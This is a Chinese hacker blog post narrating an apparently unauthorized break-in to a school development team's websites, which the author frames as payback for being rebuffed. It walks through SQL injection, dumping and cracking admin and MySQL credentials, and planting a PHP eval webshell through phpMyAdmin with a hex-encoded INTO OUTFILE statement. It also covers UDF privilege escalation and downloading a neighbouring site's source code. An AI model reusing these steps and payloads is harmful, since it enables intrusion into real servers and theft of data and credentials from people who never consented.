危险漫步博客
新鲜的“黑客思维”就是从全新的角度看待黑客技术,从更高的层面去思考;专注于黑客精神及技术交流分享的独立博客。
文章2289 浏览19378880

一次迷茫的旁注

一、前言

以前,就遇到了这个站点,是某学校的一个老师带领的团队开发的,当时正在入门php,危险漫步想去团队中学习学习,结果被BS了,而且BS的相当严重。当天晚上,就对这个站点进行了检测,网站所用平台为WMAP (Windows,Mysql, Apache,PHP),程序采用的DEDECMS 5.1,当时网上刚刚爆出DEDECMS 5.1的注入漏洞,直接请求然后用一句话客户端连接“/data/mysql_error_trace.php”,很简单的拿下了Webshell,磁盘没有做任何的权限控制,Apache没有做降权处理,Webshell继承的Apache的System权限,连提权都省了。感觉安全做的太不到位,也没做什么记录,如今再次偶遇之,昔日的漏洞页面被更改,搜索了下QQ号,比照信息确定为开发团队中一个成员的。心中不禁热血沸腾,便有了此文。

一、开始旁注

既然漏洞已被修补,就只好旁注了,Ping了下域名,得到IP为:*.*.* *45.177,在IP86上搜索了同服务器的站点,其中4个站点为:

先来看看网站,在“介绍版块”下看到了相当多的系统链接,估计是这个团队的一些作品,随手点开了“书籍评价”系统。

看来这个系统是用来对书进行评价的,网站傲的挺清爽,看来在美工上还是花了点工夫,既然系统是用来评价的,和客户端肯定就有交互,说不定能挖到XSS,还没来的及测试,就弹出了个框框,看来已有前辈路过了。

用“ -0”、“ -1”对这个页面进行了测试,前者返回了正常,后者返回了另一条信息记录,存在注入。用“order by N”,猜出字段数为19,当前用户为root。

Root权限在魔术引号关闭情况下,得到物理路径,直接就可以导出Webshell,测试了下“and

'1'='1'%23”,页面返回错误,看来魔术引号为开启状态。从前台这些书籍的图片来看,后台是支持图片上传的,那就来猜解管理员的用户名密码吧,进入后台,看能否利用上传漏洞获得webshell。

手工测试常见的字段返回错误,既然猜不到字段名,就来查询information schema.column表(在>mysql 5.0版本中,任何表中的字段名都保存在此表中)。

获得管理员用户名密码字段分别为admin user、admin_paw。

构造语句,成功得到密码,可看到用户名密码保存的很混乱,如第一个test用户的密码为明文,而后面的用户密码却被md5加密。

将用户逐个测试登录,页面迟迟没有反应,最后返回了程序错误。这就奇怪了,无法进入后台,看来网站不是很稳定。先别着急,root权限还是有很多方法的,虽然不能写文件,但只要获得了物理路径,就能读文件了。

这时,用wwwscan猜解了下网站目录,发现有phpmyadmin,这就好办了,在phpmyadmin里执行sql语句就无需考虑魔术引号为开启状态。回到刚刚的注入点,构造语句,查询mysql库中的user表。

在本地用mysql的彩虹表破解密文,忐忑N分钟后,成功破解出来。    一

登录phpmyadmin成功,接下来必须得获得物理地址才行。好在phpmyadmin一直很给力,直接请求就暴出了物理路径。

构造好语句select unhex('3C3F70687020406576616C28245F504F535458635D293F3E') into

outfile 'E:/phpMyAdmin/libraries/f.php’这里php的一句话代码用函数hex0处理了一下,原型为“<?php@eval($_POST[c])?>”,执行效果。

很轻松的就获得了webshell,心里不禁嘘了口气。

三、踪迹难寻

如此看来,检测就完美结束了,但翻遍了整个目录却没能找到目标站点的踪迹,难道是对目标站点所在文件夹进行了权限设置?默认的apache是以system权限运行的,应该没有被降权,但有直接在phpspy马上利用wScript执行命令如“net user”并不能成功返回结果,看来服务器有相关的设置。马上上传mysql的UDF提权脚本,填入root密码,导出dll文件,创建cmdshell函数,这下能成功执行命令了。利用命令“tree d:\>c:\recycler\treeD.txt”,将各个磁盘下的文件列了一遍,仍无功而返。查看apache的配置文件也未能发现目标站点的配置信息。这时候,猛然发现,服务器的IP地址并非4.4.445.177,而是显示不同的lP,竟然不同,这是何解?不禁茫然……

漫无目的的翻看磁盘上的文件,上面有相当多的文件备份,其中一个有点像是刚刚在ip866上查询到的同服务器交友平台站点的WEB文件备份,先不纠结这IP不相同了,说不定目标站与这个交友平台站点才真正在同一服务器上。马上打包下载之。利用winRAR打包,相关的命令为:”C:\ProgramFiles\WinRAR\rar.exe¨a E:\web\***\data\cache\g.rar E:\web\xx”为了防止反斜杠转义和双引号等可能引发的执行命令不成功,这里我将命令保存为批处理了,执行结果。

下载到本地后,发现代码确实是交友平台的源代码,很轻松的就找到了N个注入点,可惜都是字符型注入,而魔术引号开启了。主数据库连接文件中,root密码为空,但随意点开了另一文件,看来人品爆发了。

在网站后加phpmyadmin,跳出了phpmyadmin的登录框,输入刚刚查看到了密码,登录成功。剩下的就是体力活了,利用步骤与前面完全一致。获得webshell后,执行命令发现IP为10.8.9.9,看来其外网IP是在路由器上做了NAT所致,但前面的lP不一致又如何理解呢?

四、不在迷茫

翻到apache的配置文件,在对网站的配置信息中看到了如下的一段:

用到了ProxyPass,百度了一下,相关的描述如下:

描述:将远程服务器映射到本地服务器的URL空间

语法:ProxyPass[路径]!url[键=值键=值…】][nocanon]

上下文:  server config, virtual host,directory

状态:扩展

模块:mod_proxy

该指令可以将远程服务器映射到本地服务器的URL空间;本地的服务器并不是扮演传统意义上的代理服务器的角色,而是表现为远程服务器的一个镜像。此本地服务器常被成为反向代理(reversed proxy)或者是网关(gateway)。路径是指本地虚拟路径的名字;url指远程服务器的一个部分URL,不能包含查询字符串。

此时,不禁豁然开朗了,原来是用到了代理。这个站域名指向了4.4.445.177,而另一个地址将远程服务器映射到本地服务器的URL空间。

至此,危险漫步这个充满着迷茫的检测就结束了。考虑到篇幅,中间的诸多尝试就略去了。不禁感慨,如今,出于运行效率与安全等考虑,管理员对于网站真实IP的隐藏也衍生出了相当多的方法,像本文用到的Apache代理,以及常见的CDN等等。在以后的检测中,如何揪出真实的IP,这就需要大家更加仔细认真的挖掘信息了,这是一个危险又漫步的过程,洗完大家更仔细的钻研,祝你们好运。